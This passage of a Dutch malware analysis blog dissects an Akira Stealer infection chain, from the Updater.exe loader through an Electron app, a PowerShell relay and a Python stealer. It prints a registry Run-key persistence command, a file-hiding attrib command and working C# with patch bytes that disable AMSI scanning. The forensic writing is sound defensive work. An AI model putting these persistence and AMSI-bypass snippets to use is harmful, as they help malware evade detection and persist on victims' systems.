Menu\\Programs\\Startup\\",[533,978,979],{},"Het bestand zelf was klein, netjes gecompileerd en vanuit statische analyse onopvallend. Geen verdachte strings, geen versleutelde secties en geen aanwijzingen voor obfuscation of packing. Het importeerde slechts een minimale set standaard Windows API-functies en bevatte geen ingebedde payload.",[533,981,982,983,985,986,988],{},"Het gedrag was echter sprekender. Zodra ",[551,984,574],{}," was gestart, pakte het een Electron-applicatie uit een gebundeld archief uit, een op zichzelf staande NodeJS-runtime die met standaard Electron-tooling was verpakt. Deze uitgepakte map bevatte een executable met de naam ",[551,987,578],{},", die vervolgens als childproces werd gestart.",[588,990,993],{"className":991,"code":992,"language":593,"meta":594},[591],"Updater.exe → main.exe\n",[551,994,992],{"__ignoreMap":594},[533,996,997,998,1000,1001,1003],{},"Er waren in dit stadium geen netwerkindicatoren, geen process injection en geen afwijking in privileges of token elevation. De volledige rol van ",[551,999,574],{}," leek die van een loader te zijn: een component van de tweede fase (",[551,1002,578],{},") in de omgeving afleveren, waarschijnlijk met het doel stealth en modulariteit te behouden.",[533,1005,1006],{},"Dit soort architecturale scheiding is gebruikelijk in moderne commodity malware en stealer-toolkits. De initiële loader fungeert slechts als deployment stub, zodat de zwaardere logica, die vaak geobfusceerd, geïnterpreteerd of dynamisch gegenereerd is, in latere fasen kan zitten.",[533,1008,1009,1010,1012,1013,1015,1016,697],{},"In dit geval diende ",[551,1011,574],{}," precies dat doel: een stille eerste voet aan de grond, ontworpen om op te gaan in de omgeving, onopgemerkt te blijven en de weg vrij te maken voor de uitvoering van de eigenlijke stealer-logica in ",[551,1014,578],{}," en uiteindelijk ",[551,1017,582],{},[533,1019,1020],{},"Het raakte het bestandssysteem buiten zijn eigen directory niet aan en triggerde geen gedragsregels, en toch was het de eerste steen in een lange en zorgvuldig geconstrueerde aanvalsketen.",[862,1022,1024,1025,1027],{"id":1023},"_213-mainexe-geobfusceerde-nodejs-payload-container","2.1.3 ",[551,1026,578],{},": geobfusceerde NodeJS payload container",[533,1029,868],{},[533,1031,1032,1033,1035,1036,1038],{},"Na de uitvoering van ",[551,1034,574],{}," werd een binary van de tweede fase met de naam ",[551,1037,578],{}," gestart. Deze component presenteerde zich als een standaard Electron-applicatie, een runtime-omgeving die Node.js en Chromium bundelt en vaak wordt gebruikt voor cross-platform desktopapps. Juist die onschuldige aard maakt het in de verkeerde handen zo gevaarlijk.",[533,1040,1041,1042,1044,1045,1048],{},"Bij inspectie bleek ",[551,1043,578],{}," een intern archief met de naam ",[551,1046,1047],{},"app.asar"," te bevatten, het standaard packagingformaat voor Electron-applicaties. Anders dan bij legitieme Electron-apps was de inhoud van dit archief alles behalve gewoon.",[604,1050,1051,1057,1063,1071],{},[607,1052,1053,1056],{},[540,1054,1055],{},"Platform",": Electron (Node.js + Chromium)",[607,1058,1059,1062],{},[540,1060,1061],{},"Architectuur",": 64-bit Windows",[607,1064,1065,1068,1069],{},[540,1066,1067],{},"Contentstructuur",": ingebedde JavaScript-bestanden in ",[551,1070,1047],{},[607,1072,1073,1076,1077,1080],{},[540,1074,1075],{},"Mate van obfuscation",": hoog, gerealiseerd met ",[551,1078,1079],{},"js-confuser",", een commercieel verkrijgbare obfuscation-toolkit voor JavaScript",[533,1082,1083,1084,1086],{},"Na decompilatie en deobfuscatie werd de kernlogica van ",[551,1085,578],{}," duidelijk. Het doel was niet om een GUI te tonen of frontendlogica uit te voeren, maar om als verborgen orkestrator van de uitvoering te dienen.",[533,1088,1089],{},[540,1090,1091],{},"Waargenomen gedrag:",[604,1093,1094,1097,1104],{},[607,1095,1096],{},"Ontsleutelt en reconstrueert een Base64-encoded PowerShell-commando dat in de JavaScript-payload is opgeslagen",[607,1098,1099,1100,1103],{},"Start ",[551,1101,1102],{},"cmd.exe"," om het PowerShell-commando inline uit te voeren",[607,1105,1106,1107,1109,1110,1113],{},"Het PowerShell-commando roept op zijn beurt ",[551,1108,553],{}," aan en geeft een script mee dat in een op het eerste gezicht onschuldige directorystructuur staat (",[551,1111,1112],{},"Crypto\\Util\\astor.py",")",[588,1115,1118],{"className":1116,"code":1117,"language":593,"meta":594},[591],"main.exe → cmd.exe /d /s /c powershell → python.exe Crypto\\Util\\astor.py\n",[551,1119,1117],{"__ignoreMap":594},[533,1121,1122],{},"Door deze ketening kon de aanvaller van uitvoeringscontext wisselen en eenvoudige detectie ontwijken. Omdat de payload geobfusceerd was en in het geheugen werd gestaged, waren traditionele signature-based controles niet effectief.",[533,1124,1125],{},"Het Electron-framework bood ideale dekking en maakte de uitvoering van willekeurige JavaScript mogelijk zonder op te vallen. Uitvoering via JavaScript bracht ook cross-platform compatibiliteit, wat flexibele deployment en eenvoudiger integratie van dynamische besturingslogica toelaat.",[533,1127,1128,1129,1131],{},"Wat ",[551,1130,578],{}," bijzonder gevaarlijk maakte, was het vermogen om te werken zonder extra bestanden te droppen buiten wat al gestaged was. Het stealer-script werd direct vanaf disk aangeroepen, maar alle staging- en uitvoeringslogica bleef in de Electron-bundle zitten.",[533,1133,1134,1135,1137,1138,697],{},"Samengevat vormde ",[551,1136,578],{}," de geobfusceerde, gelaagde uitvoeringskern en fungeerde het als poortwachter tussen de initiële persistence en de volledige activering van de Akira Stealer-payload in ",[551,1139,582],{},[862,1141,1143,1144,1146],{"id":1142},"_214-cmdexe-powershell-relay","2.1.4 ",[551,1145,1102],{}," & PowerShell-relay",[533,1148,868],{},[533,1150,1151],{},"Deze fase van de execution chain functioneerde als relay, niet voor payloadlogica, maar voor obfuscation en indirectie.",[533,1153,1154,1155,1157,1158,1160,1161,697],{},"Nadat ",[551,1156,578],{}," zijn rol in het uitpakken en decoderen van de payload had afgerond, startte het een ",[551,1159,1102],{},"-proces. Dit proces bevatte zelf geen kwaadaardige logica en schreef of wijzigde geen bestanden. Het enige doel was om als wrapper te dienen voor het starten van een PowerShell-sessie met een ",[540,1162,1163],{},"encoded command",[533,1165,1166],{},"Deze methode is een bekende tactiek om zichtbaarheid te verkleinen en detectie te vermijden:",[604,1168,1169,1181],{},[607,1170,1171,1174,1175],{},[540,1172,1173],{},"Execution chain",":",[588,1176,1179],{"className":1177,"code":1178,"language":593},[591],"main.exe → cmd.exe /d /s /c \"powershell -EncodedCommand \u003CBase64Payload>\"\n",[551,1180,1178],{"__ignoreMap":594},[607,1182,1183,1174,1186],{},[540,1184,1185],{},"Doel",[604,1187,1188,1191,1194],{},[607,1189,1190],{},"Verpakt de PowerShell-uitvoering in een extra shell",[607,1192,1193],{},"Verbergt de eigenlijke PowerShell-code voor directe zichtbaarheid in logs",[607,1195,1196,1197,1200],{},"Ontwijkt EDR's die triggeren op direct gebruik van ",[551,1198,1199],{},"powershell.exe"," met verdachte parameters",[533,1202,1203,1204,1206],{},"Door het PowerShell-script als Base64-encoded string in te bedden en via ",[551,1205,1102],{}," aan te roepen, ontweek de aanvaller meerdere vormen van detectie:",[604,1208,1209,1214,1219],{},[607,1210,1211],{},[540,1212,1213],{},"Heuristische filters op de commandline",[607,1215,1216],{},[540,1217,1218],{},"Standaard logging (bijvoorbeeld Event ID 4104, 4688)",[607,1220,1221],{},[540,1222,1223,1224,1226,1227,620,1230,1233],{},"Rule-based detecties voor ",[551,1225,1199],{},"-argumenten zoals ",[551,1228,1229],{},"-NoProfile",[551,1231,1232],{},"-ExecutionPolicy Bypass"," of inline scripts",[533,1235,1236,1237,1239,1240,1242],{},"Opvallend is dat het PowerShell-commando minimaal werd gehouden en uitsluitend gericht was op het starten van ",[551,1238,553],{}," met een pad naar het ingebedde stealer-script, ",[551,1241,582],{},". Er werden geen extra modules geladen en er waren geen duidelijke signatures in het geheugen aanwezig.",[533,1244,1245],{},"Deze relaytechniek wordt vaak gebruikt bij red teaming en door geavanceerde infostealers: een lichte evasion-laag die eenvoudig te implementeren is, maar zonder correlatie van telemetrie moeilijk te betrappen.",[533,1247,1009,1248,1250],{},[551,1249,1102],{}," precies dat doel: een simpele, stille brug tussen JavaScript-logica en Python-uitvoering, die bijna onopgemerkt bleef.",[862,1252,1254,1255,1257,1258],{"id":1253},"_215-pythonexe-met-astorpy","2.1.5 ",[551,1256,553],{}," met ",[551,1259,582],{},[533,1261,868],{},[533,1263,1264,1265,1267,1268,1270],{},"De laatste en meest ingrijpende fase van de execution chain werd bereikt toen ",[551,1266,553],{}," ",[551,1269,582],{}," aanriep, een modulaire infostealer in Python die volledig in het geheugen werkt. Dit script vormde de operationele kern van de hele aanvalsketen.",[533,1272,1273,1274,1276],{},"In tegenstelling tot veel commodity stealers werd ",[551,1275,582],{}," niet in plaintext uitgerold. Het was beschermd door een gelaagd ontsleutelingsmechanisme:",[604,1278,1279,1288],{},[607,1280,1281,1284,1285,697],{},[540,1282,1283],{},"Decryption stack",": het bestand werd eerst met GZIP gecomprimeerd en daarna versleuteld met ",[540,1286,1287],{},"AES-256-CBC",[607,1289,1290,1293],{},[540,1291,1292],{},"Key derivation",": er werd een op PBKDF2 gebaseerd key derivation-proces gebruikt (SHA-512, 1.000.000 iteraties), waardoor statische analyse en brute forcing zeer onpraktisch worden.",[533,1295,1296],{},"Zodra het script tijdens runtime was ontsleuteld, voerde het verschillende gespecialiseerde modules uit, allemaal gericht op gevoelige gegevensbronnen:",[533,1298,1299],{},[540,1300,1301],{},"Kernfunctionaliteit",[604,1303,1304,1310,1320,1330],{},[607,1305,1306,1309],{},[540,1307,1308],{},"Extractie van browserdata",": haalde inloggegevens, cookies en autofill-data uit Chromium-gebaseerde browsers (Chrome, Edge, Brave, Opera)",[607,1311,1312,1315,1316,1319],{},[540,1313,1314],{},"Token harvesting",": verzamelde sessietokens, met name uit ",[540,1317,1318],{},"Discord",", en scande op extensies voor cryptowallets",[607,1321,1322,1325,1326,1329],{},[540,1323,1324],{},"Data packaging",": bundelde alle verzamelde data in een gestructureerd ",[540,1327,1328],{},"ZIP-archief",", met behoud van directory- en bestandscontext voor verwerking aan de kant van de aanvaller",[607,1331,1332,1335],{},[540,1333,1334],{},"Exfiltratie",": uploadde het resulterende archief naar publieke API's en infrastructuur.",[533,1337,1338],{},[540,1339,966],{},[533,1341,1342],{},"De volledige stealer-logica werd vanuit het geheugen uitgevoerd, zonder persistente bestanden op disk. Het liet minimale telemetriesporen achter buiten in-process memory-artefacten en standaard subprocess-aanroepen. In deze fase werd geen poging gedaan om persistence op te zetten; het doel was snelle, efficiënte en stille datadiefstal.",[533,1344,1345],{},"Het gebruik van legitieme API's voor exfiltratie maakte detectie en preventie ook aanzienlijk moeilijker, omdat het uitgaande verkeer opging in normale internetactiviteit.",[533,1347,1348,1349,1351],{},"Deze fase bevestigde uiteindelijk de identiteit van de malware: een variant van ",[540,1350,651],{},", bekend om:",[604,1353,1354,1357,1360,1363],{},[607,1355,1356],{},"Hoge modulariteit",[607,1358,1359],{},"Runtime obfuscation",[607,1361,1362],{},"Commerciële distributie via Telegram",[607,1364,1365],{},"Sterke focus op credential harvesting en token-based session hijacking",[533,1367,1368,1369,1371],{},"Samen met de eerdere fasen vormde ",[551,1370,582],{}," het kritieke eindpunt van een stealthy en goed doordachte infostealer-keten. In de volgende secties ontleden we dit component verder en leggen we uit hoe we de logica reverse-engineerden, de infrastructuur in kaart brachten en elke indicator of compromise die tijdens de operatie werd gebruikt terughaalden.",[528,1373,1375,1376],{"id":1374},"_3-deep-dive-updaterexe","3. Deep Dive: ",[551,1377,574],{},[533,1379,535],{},[533,1381,1382,1384],{},[551,1383,574],{}," was de eerste binary die tijdens de analyse na de compromittering werd waargenomen. Ondanks het neutrale voorkomen en de verwaarloosbare detectiegraad speelde het een cruciale rol in het behouden van de operationele persistence van de malware en het afleveren van de payload van de volgende fase.",[715,1386,1388],{"id":1387},"_31-eigenschappen","3.1 Eigenschappen",[533,1390,721],{},[1392,1393,1394,1407],"table",{},[1395,1396,1397],"thead",{},[1398,1399,1400,1404],"tr",{},[1401,1402,1403],"th",{},"Eigenschap",[1401,1405,1406],{},"Waarde",[1408,1409,1410,1421,1431,1441,1451,1461],"tbody",{},[1398,1411,1412,1418],{},[1413,1414,1415],"td",{},[540,1416,1417],{},"Formaat:",[1413,1419,1420],{},"Windows Portable Executable (PE32)",[1398,1422,1423,1428],{},[1413,1424,1425],{},[540,1426,1427],{},"Architectuur:",[1413,1429,1430],{},"x86-64",[1398,1432,1433,1438],{},[1413,1434,1435],{},[540,1436,1437],{},"Grootte:",[1413,1439,1440],{},"~154 KB",[1398,1442,1443,1448],{},[1413,1444,1445],{},[540,1446,1447],{},"Entropie:",[1413,1449,1450],{},"normaal (niet gepackt)",[1398,1452,1453,1458],{},[1413,1454,1455],{},[540,1456,1457],{},"Signatures:",[1413,1459,1460],{},"geen",[1398,1462,1463,1468],{},[1413,1464,1465],{},[540,1466,1467],{},"VirusTotal-detectie:",[1413,1469,1470],{},"1/69 op het moment van de analyse",[533,1472,1473],{},"Het bestand had een schone import table en geen ingebedde string-indicatoren. Er werden geen bekende packers, crypters of runtime obfuscation-mechanismen aangetroffen. De structuur was consistent met custom gecompileerde binaries.",[715,1475,1477],{"id":1476},"_32-gedragsanalyse","3.2 Gedragsanalyse",[533,1479,721],{},[533,1481,1482],{},[540,1483,1484],{},"Geen gebruikersinteractie nodig",[533,1486,1487,1488,1490],{},"De malwareketen liep zonder dat gebruikersinteractie nodig was. Op basis van de procestelemetrie van Defender werd de initiële binary (",[551,1489,574],{},") automatisch gestart, waarschijnlijk via een persistence-mechanisme zoals een autorun-key in het register. Door de ouderdom van de compromittering en het ontbreken van historische event logs kon de exacte persistence-methode niet worden achterhaald.",[533,1492,1493],{},[540,1494,1495],{},"Stille uitvoering en staging",[533,1497,1498,1499,1501,1502,1504],{},"Bij uitvoering startte ",[551,1500,574],{}," direct ",[551,1503,578],{},", zonder venster en zonder prompts voor de gebruiker. De staging vond stil op de achtergrond plaats. Er waren geen aanwijzingen voor dialogen voor gebruikersconsent, UAC-prompts of GUI-componenten.",[533,1506,1507],{},[540,1508,1509],{},"Gedrag bij het uitrollen van de payload",[533,1511,1512,1514],{},[551,1513,578],{}," bleek deel uit te maken van een Electron-applicatiestructuur, maar de exacte oorsprong van de deployment blijft onduidelijk. Een van de volgende opties wordt aangenomen:",[604,1516,1517,1523],{},[607,1518,1519,1520,1522],{},"De payload kan intern in ",[551,1521,574],{}," zijn gebundeld (bijvoorbeeld als ingebedde resource), of",[607,1524,1525],{},"Hij kan van een externe bron zijn opgehaald",[533,1527,1528],{},"Door het ontbreken van netwerktelemetrie en het feit dat er geen hardcoded URL is teruggevonden, blijft de deliveryvector voor de Electron-app onbeslist.",[533,1530,1531],{},[540,1532,1533],{},"Gedrag van de processketen",[533,1535,1536,1537,1267,1539,1541],{},"Na uitvoering startte ",[551,1538,574],{},[551,1540,578],{}," als childproces. De aanroep was niet-interactief en geen enkel proces uit de keten vertoonde UI-activiteit. De processketen liep verder zoals verwacht:",[588,1543,1546],{"className":1544,"code":1545,"language":593},[591],"Updater.exe → main.exe → cmd.exe → powershell (encoded) → python.exe astor.py\n",[551,1547,1545],{"__ignoreMap":594},[533,1549,1550],{},"Alle uitvoeringsfasen werkten zonder gebruikersinput en vertrouwden volledig op vooraf geconfigureerde startlogica en stille uitvoeringspaden. Dat beperkte de blootstelling en hielp de malware om over een langere periode onopgemerkt te blijven.",[715,1552,1554],{"id":1553},"_33-rol-in-de-infectieketen","3.3 Rol in de infectieketen",[533,1556,721],{},[533,1558,1559,1561,1562,1565,1566,697],{},[551,1560,574],{}," speelde een ",[540,1563,1564],{},"enkele maar essentiële rol"," in de bredere infectieketen: het was verantwoordelijk voor de persistence en het opnieuw uitrollen van de component van fase 2, ",[551,1567,578],{},[533,1569,1570],{},[540,1571,1572],{},"Bevestigde kenmerken",[604,1574,1575,1581,1587],{},[607,1576,1577,1578,1580],{},"Het bevatte of voerde ",[540,1579,1460],{}," kwaadaardige logica direct uit",[607,1582,1583,1584,1586],{},"Het voerde ",[540,1585,1460],{}," data-exfiltratie uit",[607,1588,1589,1590,1592],{},"Het had ",[540,1591,1460],{}," interactie met credential stores van browsers of gevoelige gebruikersdata",[533,1594,1595,1596,1598],{},"Het enige doel was om ",[551,1597,578],{}," stil te starten bij het aanmelden van de gebruiker, waarbij een autorun-entry in het register de meest waarschijnlijke persistence-methode is (al is die door de beperkte telemetrie niet direct teruggevonden).",[533,1600,1601,1602,1604,1605,1607],{},"Door als geïsoleerde loader in de eerste fase te werken, zorgde ",[551,1603,574],{}," ervoor dat de eigenlijke stealer-payload (",[551,1606,582],{},") verborgen bleef in diepere uitvoeringslagen. Deze scheiding van taken stelde de aanvallers in staat om:",[604,1609,1610,1613,1616],{},[607,1611,1612],{},"Correlatie door statische AV- of sandboxsystemen te vermijden",[607,1614,1615],{},"Payloads te vervangen of te updaten zonder de loader aan te passen",[607,1617,1618],{},"Gedragssignalen op het instappunt te verminderen",[533,1620,1621,1622,1625],{},"Dit patroon is typisch voor ",[540,1623,1624],{},"malware-as-a-service (MaaS)","-operaties, waarbij deliverymechanismen generiek zijn en payloads modulair of klantspecifiek.",[533,1627,1628,1629,1631],{},"In dit geval leverde ",[551,1630,574],{}," net genoeg logica om als betrouwbaar en onopvallend instappunt te dienen: niets meer, maar ook niets minder.",[715,1633,1635],{"id":1634},"_34-persistence-via-het-register-bevestigd-in-astorpy","3.4 Persistence via het register (bevestigd in astor.py)",[533,1637,721],{},[533,1639,1640,1641,1643],{},"Statische analyse van de Python-payload liet zien dat ",[551,1642,574],{}," expliciet persistent wordt gemaakt via een autorun-vermelding in het register:",[604,1645,1646,1654,1662],{},[607,1647,1648,973,1651],{},[540,1649,1650],{},"Registerpad",[551,1652,1653],{},"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",[607,1655,1656,973,1659],{},[540,1657,1658],{},"Naam van de waarde",[551,1660,1661],{},"Realtek Audio",[607,1663,1664,973,1667],{},[540,1665,1666],{},"Pad naar de payload",[551,1668,1669],{},"%APPDATA%\\Microsoft\\Internet Explorer\\UserData\\Updater.exe",[533,1671,1672],{},"Het bijbehorende registercommando wordt via PowerShell uitgevoerd:",[588,1674,1678],{"className":1675,"code":1676,"language":1677,"meta":594,"style":594},"language-powershell shiki shiki-themes github-light github-dark","reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v \"Realtek Audio\" /t REG_SZ /d \"...\\Updater.exe\" /f\n","powershell",[551,1679,1680],{"__ignoreMap":594},[1681,1682,1685],"span",{"class":1683,"line":1684},"line",1,[1681,1686,1676],{},[533,1688,1689],{},"Daarmee wordt de malware bij elke gebruikersaanmelding gestart. Het bestand krijgt bovendien de attributen hidden en system om detectie verder te bemoeilijken:",[588,1691,1693],{"className":1675,"code":1692,"language":1677,"meta":594,"style":594},"attrib +h +s \"Updater.exe\"\n",[551,1694,1695],{"__ignoreMap":594},[1681,1696,1697],{"class":1683,"line":1684},[1681,1698,1692],{},[533,1700,1701],{},"Dit persistence-mechanisme is direct in de code van astor.py ingebouwd, wat bevestigt dat de stealer in de laatste fase actief zorgt dat de loader aanwezig blijft op schijf en in het startup-register.",[715,1703,1705],{"id":1704},"_35-samenvatting","3.5 Samenvatting",[533,1707,721],{},[821,1709,1710],{},[533,1711,1712,1714],{},[551,1713,574],{}," was qua structuur of inhoud niet inherent kwaadaardig, maar het gedrag binnen de uitvoeringsketen bevestigde de rol als malware-loader.",[827,1716],{"className":1717},[830],[533,1719,1720],{},"Dit binary diende als schone, minimalistische launcher voor de eerste fase en ontweek daarmee detectie door statische analyse, AV-engines en gedragsregels. Het ontwerp was volledig gericht op stealth en operationele ondersteuning, niet op het uitvoeren van kwaadaardige logica.",[533,1722,1723,1724,1726,1727,1729,1730,1733],{},"De rol ging echter verder dan de initiële uitrol. Bij het reverse-engineeren van de ",[551,1725,582],{},"-payload vonden we logica die actief controleerde of ",[551,1728,574],{}," aanwezig was. Die controle maakte deel uit van een bredere ",[540,1731,1732],{},"health- en self-healing-cyclus"," in de stealer-code, een mechanisme dat de integriteit van de infectieketen verifieert en ontbrekende componenten indien nodig herstelt.",[533,1735,1736,1737,1739,1740,1743],{},"Dat betekent dat ",[551,1738,574],{}," niet alleen verantwoordelijk was voor het starten van de malware, maar ook onderdeel vormde van de ",[540,1741,1742],{},"doorlopende runtime-validatie",". Zonder deze stub kon de malware het vermogen verliezen om in latere sessies opnieuw te initialiseren.",[533,1745,1746],{},[540,1747,1748,1749,1174],{},"Belangrijkste functies van ",[551,1750,574],{},[604,1752,1753,1758,1763,1766],{},[607,1754,1755,1756],{},"Soepele uitrol van ",[551,1757,578],{},[607,1759,1760,1761],{},"Indirecte uitvoering van ",[551,1762,582],{},[607,1764,1765],{},"Ontkoppeling van loader- en payload-logica",[607,1767,1768,1771],{},[540,1769,1770],{},"Wordt door de payload zelf gerefereerd"," als onderdeel van operationele health monitoring",[533,1773,1774],{},"In hoofdstuk 5 gaan we in detail in op de interne health-check-routines van de stealer, inclusief het self-healing-gedrag en de mechanismen voor integriteitsvalidatie.",[533,1776,1777,1778,1780],{},"Voor nu is duidelijk dat ",[551,1779,574],{}," in deze gelaagde infostealer-architectuur zowel ontsteking als ankerpunt was.",[715,1782,1784],{"id":1783},"_36-extractietruc-de-loader-te-slim-af-zijn","3.6 Extractietruc: de loader te slim af zijn",[533,1786,721],{},[533,1788,1789],{},"Soms komen de beste resultaten bij reverse engineering niet uit diepe binaire disassembly, maar uit een beetje trucwerk en geduld.",[533,1791,1792,1793,1795,1796,1798],{},"Tijdens de analyse van de infectie in een gecontroleerde labomgeving viel ons iets vreemds op: ",[551,1794,574],{}," was aanwezig en actief, maar ",[551,1797,578],{}," was verdwenen uit het bestandssysteem. Toen kwam het idee: wat gebeurt er als we de malware zichzelf laten repareren?",[533,1800,1801,1802,1804,1805,1808,1809,1811],{},"We hebben ",[551,1803,578],{}," bewust ",[540,1806,1807],{},"verwijderd"," uit de geïnfecteerde omgeving en ",[551,1810,574],{}," ongemoeid gelaten. En inderdaad, na de volgende aanmelding van de gebruikerssessie kwam de loader in actie, niet met een driftbui, maar met een stille poging om de tweede fase opnieuw op te bouwen.",[533,1813,1814,1815,1817,1818,1820,1821,1824,1825,1828,1829,620,1831,1834,1835,1837],{},"Hier werd het interessant: in plaats van ",[551,1816,578],{}," direct opnieuw aan te maken, zette ",[551,1819,574],{}," eerst een bestand met de naam ",[551,1822,1823],{},"app-64.7z"," neer, een standaard ",[540,1826,1827],{},"7-Zip-archief",". Dat archief bevatte de volledige Electron-applicatiestructuur, inclusief ",[551,1830,578],{},[551,1832,1833],{},"resources"," en de ",[551,1836,1047],{},"-payload met alle ingebedde logica.",[533,1839,1840,1841,697],{},"We hadden de malware feitelijk ",[540,1842,1843],{},"gedwongen het bronpakket aan ons te overhandigen",[533,1845,1846],{},[749,1847],{"alt":1848,"src":1849},"Verdacht Updater-executable gedetecteerd","https://res.cloudinary.com/c4a8/image/upload/v1749797290/blog/pics/updater-exe.png",[533,1851,1852],{},"Met dit 7z-archief in handen konden we de op JavaScript gebaseerde orkestratielogica volledig uitpakken, decomprimeren en reverse-engineeren zonder de originele loader nog aan te raken. De structuur van het archief kwam exact overeen met de verwachte layout van een Electron-app.",[533,1854,1855,1856,1859],{},"Dit gedrag suggereert sterk dat de aanvallers bewust voor een ",[540,1857,1858],{},"modulaire en onderhoudbare architectuur"," hebben gekozen, met archieven als flexibele containers voor payloads. Het stelde hen ook in staat payload-componenten te vervangen of te updaten zonder de loader-binary opnieuw te compileren.",[533,1861,1862],{},"En in ons geval? Het stelde ons in staat hun keten te slim af te zijn, de drop te onderscheppen en met het volledige pakket weg te lopen, alsof je de bouwtekeningen van de werkbank steelt terwijl de bouwer even niet kijkt.",[533,1864,1865,1866],{},"Laten we het zo zeggen: ",[540,1867,1868,1869,620,1872,1875],{},"soms zijn de beste forensische tools ",[551,1870,1871],{},"del",[551,1873,1874],{},"wait"," en een beetje nieuwsgierigheid.",[528,1877,1879,1880],{"id":1878},"_4-deep-dive-powbat","4. Deep dive: ",[551,1881,1882],{},"pow.bat",[533,1884,535],{},[533,1886,1887,1888,1891],{},"In de geanalyseerde malwarecampagne fungeert het component ",[551,1889,1890],{},"Invoke-SharpLoader"," als een op maat gemaakte, in het geheugen residente .NET-loader met een sterk modulaire en evasieve uitvoeringsflow. Dit hoofdstuk ontleedt de interne architectuur, de anti-analysestrategie via AMSI-patching en de rol bij het faciliteren van de payload voor de tweede fase.",[715,1893,1895],{"id":1894},"_41-eigenschappen-van-het-binary-sharploader-batch-wrapper","4.1 Eigenschappen van het binary – SharpLoader Batch Wrapper",[533,1897,721],{},[533,1899,1900,1901,1903],{},"Voordat de .NET-payload in het geheugen wordt geladen, laat de buitenste wrapper ",[551,1902,1882],{}," op basis van statische analyse de volgende kenmerken zien:",[1392,1905,1906,1914],{},[1395,1907,1908],{},[1398,1909,1910,1912],{},[1401,1911,1403],{},[1401,1913,1406],{},[1408,1915,1916,1925,1934,1944,1953,1963,1973,1982],{},[1398,1917,1918,1922],{},[1413,1919,1920],{},[540,1921,1417],{},[1413,1923,1924],{},"DOS Batch File",[1398,1926,1927,1931],{},[1413,1928,1929],{},[540,1930,1427],{},[1413,1932,1933],{},"Scriptgebaseerd (geen gecompileerd binary)",[1398,1935,1936,1941],{},[1413,1937,1938],{},[540,1939,1940],{},"Bestandsgrootte:",[1413,1942,1943],{},"27.79 KB (28454 bytes)",[1398,1945,1946,1950],{},[1413,1947,1948],{},[540,1949,1447],{},[1413,1951,1952],{},"Normaal (platte ASCII-tekst)",[1398,1954,1955,1960],{},[1413,1956,1957],{},[540,1958,1959],{},"Magic:",[1413,1961,1962],{},"DOS batch file, ASCII text",[1398,1964,1965,1970],{},[1413,1966,1967],{},[540,1968,1969],{},"Digitale signatuur:",[1413,1971,1972],{},"Geen aangetroffen",[1398,1974,1975,1979],{},[1413,1976,1977],{},[540,1978,1467],{},[1413,1980,1981],{},"26 / 61 (op moment van analyse)",[1398,1983,1984,1989],{},[1413,1985,1986],{},[540,1987,1988],{},"Threat labels:",[1413,1990,1991,620,1994,620,1997,620,1999],{},[551,1992,1993],{},"trojan",[551,1995,1996],{},"downloader",[551,1998,1677],{},[551,2000,2001],{},"agentb",[533,2003,2004,2005,2008],{},"Ondanks dat het een eenvoudig ",[551,2006,2007],{},".bat","-bestand is, ontwijkt het script veel statische detecties en leunt het zwaar op living-off-the-land-technieken zoals PowerShell om geobfusceerde en versleutelde payloads te downloaden en uit te voeren.",[715,2010,2012,2013,1113],{"id":2011},"_42-amsi-bypasstechniek-class-gofor4msi","4.2 AMSI-bypasstechniek (class: ",[551,2014,2015],{},"gofor4msi",[533,2017,721],{},[533,2019,2020],{},"Een van de eerste verdedigingsmechanismen die SharpLoader omzeilt is AMSI, de Anti-Malware Scan Interface, een Microsoft-functie die in scripting engines zoals PowerShell en Windows Script Host is geïntegreerd om inhoud in realtime op verdacht gedrag te scannen. Malware-auteurs proberen AMSI vaak te omzeilen om detectie door endpointbeveiliging te voorkomen.",[533,2022,2023,2024,2027,2028,2031,2032,2035,2036,2039,2040,2043],{},"In SharpLoader is de AMSI-bypass geïmplementeerd via ",[540,2025,2026],{},"direct patchen in het geheugen"," van de functie ",[551,2029,2030],{},"AmsiScanBuffer"," in ",[551,2033,2034],{},"amsi.dll",". Die functie analyseert normaal gesproken de inhoud van scripts en geeft een resultaatcode terug die aangeeft of de inhoud verdacht (",[551,2037,2038],{},"AMSI_RESULT_DETECTED",") of veilig (",[551,2041,2042],{},"AMSI_RESULT_CLEAN",") is.",[533,2045,2046],{},"De relevante code voor het patchen in het geheugen is:",[588,2048,2052],{"className":2049,"code":2050,"language":2051,"meta":594,"style":594},"language-csharp shiki shiki-themes github-light github-dark","var lib = Win32.LoadLibrary(\"amsi.dll\");\nvar addr = Win32.GetProcAddress(lib, \"AmsiScanBuffer\");\nWin32.VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out oldProtect);\nMarshal.Copy(patch, 0, addr, patch.Length);\n","csharp",[551,2053,2054,2059,2065,2071],{"__ignoreMap":594},[1681,2055,2056],{"class":1683,"line":1684},[1681,2057,2058],{},"var lib = Win32.LoadLibrary(\"amsi.dll\");\n",[1681,2060,2062],{"class":1683,"line":2061},2,[1681,2063,2064],{},"var addr = Win32.GetProcAddress(lib, \"AmsiScanBuffer\");\n",[1681,2066,2068],{"class":1683,"line":2067},3,[1681,2069,2070],{},"Win32.VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out oldProtect);\n",[1681,2072,2074],{"class":1683,"line":2073},4,[1681,2075,2076],{},"Marshal.Copy(patch, 0, addr, patch.Length);\n",[533,2078,2079],{},"Deze reeks doorloopt de volgende stappen:",[2081,2082,2083,2092,2102,2112],"ol",{},[607,2084,2085,2088,2089,697],{},[540,2086,2087],{},"De AMSI-DLL laden"," in het proces met ",[551,2090,2091],{},"LoadLibrary(\"amsi.dll\")",[607,2093,2094,2027,2097,583,2099,697],{},[540,2095,2096],{},"Het geheugenadres opzoeken",[551,2098,2030],{},[551,2100,2101],{},"GetProcAddress()",[607,2103,2104,2107,2108,2111],{},[540,2105,2106],{},"De geheugenbescherming wijzigen"," van dat adres met ",[551,2109,2110],{},"VirtualProtect()"," zodat er geschreven kan worden.",[607,2113,2114,1257,2117,2120],{},[540,2115,2116],{},"Het begin van de functie overschrijven",[551,2118,2119],{},"Marshal.Copy()"," en een kleine shellcode-patch.",[533,2122,2123],{},"De patch voor 64-bits systemen is:",[588,2125,2127],{"className":2049,"code":2126,"language":2051,"meta":594,"style":594},"static byte[] x64 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; // mov eax, 0x80070057; ret\n",[551,2128,2129],{"__ignoreMap":594},[1681,2130,2131],{"class":1683,"line":1684},[1681,2132,2126],{},[533,2134,2135],{},"Dat komt 